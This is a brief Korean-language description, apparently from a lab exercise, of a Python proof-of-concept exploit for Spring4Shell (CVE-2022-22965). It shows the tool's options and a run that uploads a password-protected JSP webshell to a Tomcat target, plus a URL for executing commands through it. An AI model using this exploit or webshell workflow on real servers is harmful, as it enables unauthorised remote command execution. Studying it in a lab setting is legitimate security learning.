
# CVE-2022-22965(Spring4Shell)용 Python 기반 개념 증명 익스플로잇 Apache Tomcat에서 실행되는 Java Spring Core RCE를 대상으로 합니다. 원격 명령 실행을 위해 비밀번호 보호 기능이 있는 JSP 웹셸을 업로드합니다.
이 취약점들은 프레임워크의 핵심인 "Spring Core" 구성 요소에 영향을 미칩니다.
현재 취약점 조건:-
user@attacker:~$ ./exploit.py --help
usage: exploit.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] url
Spring4Shell RCE Proof of Concept
positional arguments:
url Target URL
optional arguments:
-h, --help show this help message and exit
-f FILENAME, --filename FILENAME
Name of the file to upload (Default tomcatwar.jsp)
-p PASSWORD, --password PASSWORD
Password to protect the shell with (Default: thm)
-d DIRECTORY, --directory DIRECTORY
The upload path for the file (Default: ROOT)
user@attacker:~$ ./exploit.py http://MACHINE_IP/
Shell Uploaded Successfully!
# OUTPUT= Your shell can be found at: http://MACHINE_IP/tomcatwar.jsp?pwd=thm&cmd=whoami